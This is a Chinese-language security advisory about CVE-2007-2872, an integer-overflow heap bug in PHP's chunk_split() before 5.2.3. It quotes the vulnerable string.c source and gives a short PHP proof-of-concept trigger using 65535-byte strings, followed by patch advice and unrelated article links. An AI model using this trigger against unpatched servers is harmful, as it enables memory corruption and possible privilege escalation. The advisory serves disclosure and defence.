PHP5.2下chunk_split()函数整数溢出漏洞 分析


Posted in PHP onJune 06, 2007

受影响系统:
PHP PHP < 5.2.3
不受影响系统:
PHP PHP 5.2.3
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 24261
CVE(CAN) ID: CVE-2007-2872

PHP是一种流行的WEB服务器端编程语言。

PHP中的chunk_split函数在处理畸形参数时存在整数溢出漏洞,本地攻击者可能利用此漏洞提升自己的权限。

PHP中chunk_split函数的1963行试图为函数结果分配充分的内存大小,但没有执行任何检查便使用了srclen和chunklen参数块。如果值的块和endlen大于65534字节的话,就会触发整数溢出,分配错误的内存大小,导致堆溢出。

ext/standard/string.c:

1953 static char *php_chunk_split(char *src, int srclen, char *end,
int endlen, int chunklen, int *destlen)
1954 {
1955 char *dest;
1956 char *p, *q;
1957 int chunks; /* complete chunks! */
1958 int restlen;
1959
1960 chunks = srclen / chunklen;
1961 restlen = srclen - chunks * chunklen; /* srclen % chunklen */
1962
1963 dest = safe_emalloc((srclen + (chunks + 1) * endlen + 1),
sizeof(char), 0);
1964
1965 for (p = src, q = dest; p < (src + srclen - chunklen + 1); ) {
1966 memcpy(q, p, chunklen);
1967 q += chunklen;
1968 memcpy(q, end, endlen);
1969 q += endlen;
1970 p += chunklen;
1971 }

<*来源:Gerhard Wagner

链接:http://marc.info/?l=bugtraq&m=118071054000708&w=2
http://www.php.net/releases/5_2_3.php
http://secunia.com/advisories/25456/
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?
$a=str_repeat("A", 65535);
$b=1;
$c=str_repeat("A", 65535);
chunk_split($a,$b,$c);
?>

建议:
--------------------------------------------------------------------------------
厂商补丁:

PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.php.net/downloads.php#v5

文章来自: 绿盟科技

PHP 相关文章推荐
php 什么是PEAR?(第三篇)
Mar 19 PHP
PHP中通过语义URL防止网站被攻击的方法分享
Sep 08 PHP
解析php中const与define的应用区别
Jun 18 PHP
phpmailer发送gmail邮件实例详解
Jun 24 PHP
PHP合并静态文件详解
Nov 14 PHP
php利用反射实现插件机制的方法
Mar 14 PHP
php使用mysqli向数据库添加数据的方法
Mar 20 PHP
PHP中的Session对象如何使用
Sep 25 PHP
PHP基于MySQLI函数封装的数据库连接工具类【定义与用法】
Aug 11 PHP
[原创]PHP实现字节数Byte转换为KB、MB、GB、TB的方法
Aug 31 PHP
PHP实现数组根据某个单元字段排序操作示例
Aug 01 PHP
laravel 创建命令行命令的图文教程
Oct 23 PHP
phpMyAdmin下载、安装和使用入门教程
May 31 #PHP
测试您的 PHP 水平的题目
May 30 #PHP
Discuz板块横排显示图片的实现方法
May 28 #PHP
中国站长站 For Dede4.0 采集规则
May 27 #PHP
MySQL GBK→UTF-8编码转换
May 24 #PHP
Win2003服务器安全加固设置--进一步提高服务器安全性
May 23 #PHP
站长助手-网站web在线管理程序 v1.0 下载
May 12 #PHP
You might like
php 中的4种标记风格介绍
2012/05/10 PHP
php 遍历目录,生成目录下每个文件的md5值并写入到结果文件中
2016/12/12 PHP
Laravel如何创建服务器提供者实例代码
2019/04/15 PHP
基于jQuery图片平滑连续滚动插件
2009/04/27 Javascript
基于jQuery的淡入淡出可自动切换的幻灯插件打包下载
2010/09/15 Javascript
让你的CSS像Jquery一样做筛选的实现方法
2011/07/10 Javascript
70+漂亮且极具亲和力的导航菜单设计国外网站推荐
2011/09/20 Javascript
使用JavaScript动态设置样式实现代码(2)
2013/01/25 Javascript
jquery实现图片随机排列的方法
2015/05/04 Javascript
javascript实时显示当天日期的方法
2015/05/20 Javascript
基于JavaScript将表单序列化类型的数据转化成对象的处理(允许对象中包含对象)
2015/12/28 Javascript
原生js实现倒计时功能(多种格式调用)
2017/01/12 Javascript
微信小程序 下拉菜单的实现
2017/04/06 Javascript
JavaScript原生数组Array常用方法
2017/04/06 Javascript
Vue2.0使用过程常见的一些问题总结学习
2017/04/10 Javascript
基于vue.js实现的分页
2018/03/13 Javascript
浅谈redux, koa, express 中间件实现对比解析
2019/05/23 Javascript
vue vantUI tab切换时 list组件不触发load事件的问题及解决方法
2020/02/14 Javascript
[12:29]2018国际邀请赛 开幕秀
2018/08/22 DOTA
Python字符串处理函数简明总结
2015/04/13 Python
python中类和实例如何绑定属性与方法示例详解
2017/08/18 Python
Python运维之获取系统CPU信息的实现方法
2018/06/11 Python
Django数据库类库MySQLdb使用详解
2019/04/28 Python
Python无头爬虫下载文件的实现
2020/04/02 Python
解决python对齐错误的方法
2020/07/16 Python
公认8个效率最高的爬虫框架
2020/07/28 Python
Python执行时间的几种计算方法
2020/07/31 Python
世界上最大的乐器零售商:Guitar Center
2017/11/07 全球购物
工厂仓管员岗位职责
2014/01/01 职场文书
环保建议书500字
2014/05/14 职场文书
党的群众路线教育实践活动查摆问题及整改措施
2014/10/10 职场文书
爱牙日宣传活动总结
2015/02/05 职场文书
违纪开除通知书
2015/04/25 职场文书
公司表扬稿范文
2015/05/05 职场文书
项目战略合作意向书
2015/05/08 职场文书
服务器间如何实现文件共享
2022/05/20 Servers